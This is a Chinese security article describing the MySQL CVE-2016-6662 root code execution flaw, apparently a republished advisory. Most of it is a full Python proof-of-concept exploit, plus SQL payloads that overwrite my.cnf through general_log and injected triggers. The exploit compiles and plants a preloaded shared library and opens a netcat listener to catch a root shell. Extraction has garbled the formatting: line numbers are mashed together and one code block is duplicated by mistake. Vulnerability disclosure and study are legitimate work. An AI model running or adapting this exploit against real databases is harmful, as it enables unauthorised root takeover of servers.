概要
Mysql (5.7, 5.6, 和 5.5版本)的所有默认安装配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。
利用条件:首先你要有一个Mysql低权限用户,仅需有FIle权限(例如:虚拟主机通常会提供,因为需要导入导出文件),即可实现Root权限提升,进而控制服务器
漏洞影响
MySQL <= 5.7.15 远程代码执行/ 提权 (0day)
5.6.33
5.5.52
Mysql分支的版本也受影响,包括:
MariaDB
PerconaDB
漏洞介绍
这个漏洞影响(5.7, 5.6, 和 5.5版本)的所有Mysql默认配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。
漏洞描述
先看下我本地的MYSQL版本信息
1
2
3
4
5
6
7
8
9
10
|
root@debian:~ # lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU /Linux 8.5 (jessie) Release: 8.5 Codename: jessie root@debian:~ # dpkg -l | grep -i mysql-server ii mysql-server 5.5.50-0+deb8u1 ii mysql-server-5.5 5.5.50-0+deb8u1 ii mysql-server-core-5.5 5.5.50-0+deb8u1 |
之后启动Mysql服务器
1
|
root@debian:~ # service mysql start |
查看mysql的进程信息
1
2
|
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir= /usr --datadir= /var/lib/mysql --plugin- dir = /usr/lib/mysql/plugin --user=mysql --log-error= /var/log/mysql/error .log --pid- file = /var/run/mysqld/mysqld .pid --socket= /var/run/mysqld/mysqld .sock --port=3306 |
我们可以看到mysqld_safe的wrapper(封装)脚本是root权限执行的,而主要的mysqld进程确实mysql用户权限执行的。
我们看看该脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
----[ /usr/bin/mysqld_safe ]---- [...] # set_malloc_lib LIB # - If LIB is empty, do nothing and return # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib # then pkglibdir. tcmalloc is part of the Google perftools project. # - If LIB is an absolute path, assume it is a malloc shared library # # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when # running mysqld. See ld.so for details. set_malloc_lib() { malloc_lib= "$1" if [ "$malloc_lib" = tcmalloc ]; then pkglibdir=`get_mysql_config --variable=pkglibdir` malloc_lib= # This list is kept intentionally simple. Simply set --malloc-lib # to a full path if another location is desired. for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql" ; do for flavor in _minimal '' _and_profiler _debug; do tmp= "$libdir/libtcmalloc$flavor.so" #log_notice "DEBUG: Checking for malloc lib '$tmp'" [ -r "$tmp" ] || continue malloc_lib= "$tmp" break 2 done done [...] ----------[ eof ]--------------- |
通过手册我们可以得知--malloc-lib=LIB 选项可以加载一个so文件,如果攻击者可以注入路径信息到配置文件,就可以在MYSQL服务重启的时候,执行任意代码。
从2003开始,默认通过SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'是不能覆写文件的,但是我们可以利用mysql logging(MySQL )功能绕过outfile/dumpfile重写文件的保护,攻击者需要 SELECT/FILE 权限 。
依赖于mysql的版本,相应的配置文件也不同
比如mysql5.5
1
2
3
4
5
6
|
/etc/my.cnf Global options /etc/mysql/my.cnfGlobal options SYSCONFDIR/my.cnfGlobal options $MYSQL_HOME/my.cnfServer-specific options defaults-extra-fileThe file specified with --defaults-extra-file=file_name, if any ~/.my.cnfUser-specific options |
我们通过覆写/etc/my.cnf注入malloc_lib=路径选项,命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
----[ /usr/bin/mysqld_safe ]---- [...] # set_malloc_lib LIB # - If LIB is empty, do nothing and return # - If LIB is 'tcmalloc' , look for tcmalloc shared library in /usr/lib # then pkglibdir. tcmalloc is part of the Google perftools project. # - If LIB is an absolute path, assume it is a malloc shared library # # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when # running mysqld. See ld.so for details. set_malloc_lib() { malloc_lib= "$1" if [ "$malloc_lib" = tcmalloc ]; then pkglibdir=`get_mysql_config --variable=pkglibdir` malloc_lib= # This list is kept intentionally simple. Simply set --malloc-lib # to a full path if another location is desired. for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql" ; do for flavor in _minimal '' _and_profiler _debug; do tmp= "$libdir/libtcmalloc$flavor.so" #log_notice "DEBUG: Checking for malloc lib '$tmp'" [ -r "$tmp" ] || continue malloc_lib= "$tmp" break 2 done done [...] ----------[ eof ]--------------- mysql> set global general_log_file = '/etc/my.cnf' ; mysql> set global general_log = on ; mysql> select ' ' > '> ; injected config entry ' > '> [mysqld] ' > malloc_lib=/tmp/mysql_exploit_lib.so '> ' > [separator] '> ' > '; mysql> set global general_log = off ; |
注意:修改配置文件后,会导致mysql重启的时候失败。
注入后的my.cnf文件包含:
1
2
|
[mysqld] malloc_lib= /tmp/mysql_exploit_lib .so |
mysqld_safe也载入配置文件从mysql的data目录,(/var/lib/mysql/my.cnf),这个功能从mysql 5.7移除,不再加载,所以即使mysql用户没有权限修改/etc/my.cnf,也可以通过下面的文件来加载
1
2
|
/var/lib/mysql/my .cnf /var/lib/mysql/ .my.cnf |
即使没有dba权限,也可以通过触发器来覆写文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERT ON `active_table` FOR EACH ROW BEGIN DECLARE void varchar (550); set global general_log_file= '/var/lib/mysql/my.cnf' ; set global general_log = on ; select " [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' " INTO void; set global general_log = off ; END ; SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' |
触发器写入成功后,刷新的时候会载入,比如通过执行一个insert语句来刷新
1
|
INSERT INTO `active_table` VALUES ( 'xyz' ); |
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
|
- - - - - - - - - - [ 0ldSQL_MySQL_RCE_exploit .py ] - - - - - - - - - - - - - - #!/usr/bin/python # This is a limited version of the PoC exploit. It only allows appending to # existing mysql config files with weak permissions. See V) 1) section of # the advisory for details on this vector. # # Full PoC will be released at a later date, and will show how attackers could # exploit the vulnerability on default installations of MySQL on systems with no # writable my.cnf config files available. # # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial # for certain low-privileged attackers that do not have FILE privilege. # # See full advisory for details: # http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt # # Stay tuned ;) intro = """ 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit For testing purposes only. Do no harm. Discovered/Coded by: Dawid Golunski http://legalhackers.com """ import argparse import mysql.connector import binascii import subprocess def info( str ): print "[+] " + str + "\n" def errmsg( str ): print "[!] " + str + "\n" def shutdown(code): if (code = = 0 ): info( "Exiting (code: %d)\n" % code) else : errmsg( "Exiting (code: %d)\n" % code) exit(code) cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so" process = subprocess.Popen(cmd, shell = True , stdout = subprocess.PIPE, stderr = subprocess.PIPE) (result, error) = process.communicate() rc = process.wait() # where will the library to be preloaded reside? /tmp might get emptied on reboot # /var/lib/mysql is safer option (and mysql can definitely write in there ;) malloc_lib_path = '/var/lib/mysql/mysql_hookandroot_lib.so' # Main Meat print intro # Parse input args parser = argparse.ArgumentParser(prog = '0ldSQL_MySQL_RCE_exploit.py' , description = 'PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662' ) parser.add_argument( '-dbuser' , dest = 'TARGET_USER' , required = True , help = 'MySQL username' ) parser.add_argument( '-dbpass' , dest = 'TARGET_PASS' , required = True , help = 'MySQL password' ) parser.add_argument( '-dbname' , dest = 'TARGET_DB' , required = True , help = 'Remote MySQL database name' ) parser.add_argument( '-dbhost' , dest = 'TARGET_HOST' , required = True , help = 'Remote MySQL host' ) parser.add_argument( '-mycnf' , dest = 'TARGET_MYCNF' , required = True , help = 'Remote my.cnf owned by mysql user' ) args = parser.parse_args() # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables) info( "Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB)) try : dbconn = mysql.connector.connect(user = args.TARGET_USER, password = args.TARGET_PASS, database = args.TARGET_DB, host = args.TARGET_HOST) except mysql.connector.Error as err: errmsg( "Failed to connect to the target: {}" . format (err)) shutdown( 1 ) try : cursor = dbconn.cursor() cursor.execute( "SHOW GRANTS" ) except mysql.connector.Error as err: errmsg( "Something went wrong: {}" . format (err)) shutdown( 2 ) privs = cursor.fetchall() info( "The account in use has the following grants/perms: " ) for priv in privs: print priv[ 0 ] print "" # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld # process execution and run our code (Remote Root Shell) # Remember to match the architecture of the target (not your machine!) otherwise the library # will not load properly on the target. info( "Compiling mysql_hookandroot_lib.so" ) cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl" process = subprocess.Popen(cmd, shell = True , stdout = subprocess.PIPE, stderr = subprocess.PIPE) (result, error) = process.communicate() rc = process.wait() if rc ! = 0 : errmsg( "Failed to compile mysql_hookandroot_lib.so: %s" % cmd) print error shutdown( 2 ) # Load mysql_hookandroot_lib.so library and encode it into HEX info( "Converting mysql_hookandroot_lib.so into HEX" ) hookandrootlib_path = './mysql_hookandroot_lib.so' with open (hookandrootlib_path, 'rb' ) as f: content = f.read() hookandrootlib_hex = binascii.hexlify(content) # Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG # Decoded payload (paths may differ): """ DELIMITER // CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERT ON `poctable` FOR EACH ROW BEGIN DECLARE void varchar(550); set global general_log_file='/var/lib/mysql/my.cnf'; set global general_log = on; select " # 0ldSQL_MySQL_RCE_exploit got here :) [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' [abyss] " INTO void; set global general_log = off; END; // DELIMITER ; """ trigger_payload = """TYPE=TRIGGERS triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND' sql_modes=0 definers='root@localhost' client_cs_names='utf8' connection_cl_names='utf8_general_ci' db_cl_names='latin1_swedish_ci' """ % (args.TARGET_MYCNF, malloc_lib_path) # Convert trigger into HEX to pass it to unhex() SQL function trigger_payload_hex = " ".join(" {: 02x }". format ( ord (c)) for c in trigger_payload) # Save trigger into a trigger file TRG_path = "/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB info( "Saving trigger payload into %s" % (TRG_path)) try : cursor = dbconn.cursor() cursor.execute( """SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) ) except mysql.connector.Error as err: errmsg( "Something went wrong: {}" . format (err)) shutdown( 4 ) # Save library into a trigger file info( "Dumping shared library into %s file on the target" % malloc_lib_path) try : cursor = dbconn.cursor() cursor.execute( """SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) ) except mysql.connector.Error as err: errmsg( "Something went wrong: {}" . format (err)) shutdown( 5 ) # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server info( "Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded" ) try : cursor = dbconn.cursor() cursor.execute( "CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" ) except mysql.connector.Error as err: errmsg( "Something went wrong: {}" . format (err)) shutdown( 6 ) # Finally, execute the trigger's payload by inserting anything into `poctable`. # The payload will write to the mysql config file at this point. info( "Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF ) try : cursor = dbconn.cursor() cursor.execute( "INSERT INTO `poctable` VALUES('execute the trigger!');" ) except mysql.connector.Error as err: errmsg( "Something went wrong: {}" . format (err)) shutdown( 6 ) # Check on the config that was just created info( "Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF ) try : cursor = dbconn.cursor() cursor.execute( "SELECT load_file('%s')" % args.TARGET_MYCNF) except mysql.connector.Error as err: errmsg( "Something went wrong: {}" . format (err)) shutdown( 2 ) finally : dbconn.close() # Close DB connection print "" myconfig = cursor.fetchall() print myconfig[ 0 ][ 0 ] info( "Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)" ) # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;) info( "Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" ) listener = subprocess.Popen(args = [ "/bin/nc" , "-lvp" , "6033" ]) listener.communicate() print "" # Show config again after all the action is done info( "Shell closed. Hope you had fun. " ) # Mission complete, but just for now... Stay tuned :) info( """Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""" ) # Shutdown shutdown( 0 ) |
对CVE-2016-6662的简单测试
1.修改my.cnf的权限,让mysql用户可写
2.通过mysql logging 覆写文件
3.放置后门程序
1
|
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.c.so mysql_hookandroot_lib.c.c -ldl |
4.重启触发反弹
修复办法:
0day漏洞,目前尚无补丁,请持续关注安全客最新报道!
临时修复建议:关闭mysql用户file权限 (2016/09/12 23:03 更新)
原文参考:
本文由 安全客 原创发布,来源本文地址。
http://bobao.360.cn/learning/detail/3025.html0day
文章评论